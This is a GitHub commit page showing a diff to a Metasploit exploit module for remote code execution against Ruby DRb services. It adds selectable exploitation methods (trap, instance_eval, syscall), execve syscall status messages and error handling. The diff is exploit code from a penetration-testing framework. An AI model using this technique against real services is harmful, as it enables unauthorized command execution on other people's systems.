Skip to content

Commit a0e0e1d

Browse files
committed
allow manual targeting, handle errors better
1 parent eea7266 commit a0e0e1d

File tree

1 file changed

+13
-3
lines changed

1 file changed

+13
-3
lines changed

modules/exploits/linux/misc/drb_remote_codeexec.rb

Lines changed: 13 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,10 @@ def initialize(info = {})
3333
'Platform' => 'unix',
3434
'Arch' => ARCH_CMD,
3535
'Targets' => [
36-
['Automatic', {}],
36+
['Automatic', { method: 'auto'}],
37+
['Trap', { method: 'trap'}],
38+
['Eval', { method: 'instance_eval'}],
39+
['Syscall', { method: 'syscall'}],
3740
],
3841
'DisclosureDate' => 'Mar 23 2011',
3942
'DefaultTarget' => 0))
@@ -76,6 +79,7 @@ def method_syscall(p)
7679
p.send(:syscall, 2)
7780
# syscall execve
7881
p.send(:syscall, 11, filename, 0, 0)
82+
print_status("attempting x86 execve of #{filename}")
7983

8084
# likely x64
8185
rescue Errno::EBADF
@@ -89,6 +93,7 @@ def method_syscall(p)
8993
p.send(:syscall, 57)
9094
# syscall execve
9195
p.send(:syscall, 59, filename, 0, 0)
96+
print_status("attempting x64 execve of #{filename}")
9297
end
9398

9499
register_file_for_cleanup(filename) if filename
@@ -109,14 +114,19 @@ class << p
109114
undef :send
110115
end
111116

112-
methods = ["instance_eval", "syscall", "trap"]
117+
if target[:method] == 'auto'
118+
methods = ["instance_eval", "syscall", "trap"]
119+
else
120+
methods = [target[:method]]
121+
end
122+
113123
methods.each do |method|
114124
begin
115125
print_status("trying to exploit #{method}")
116126
send("method_" + method, p)
117127
handler(nil)
118128
break
119-
rescue SecurityError => e
129+
rescue SecurityError, DRb::DRbConnError, NoMethodError
120130
print_warning("target is not vulnerable to #{method}")
121131
end
122132
end

0 commit comments

Comments
 (0)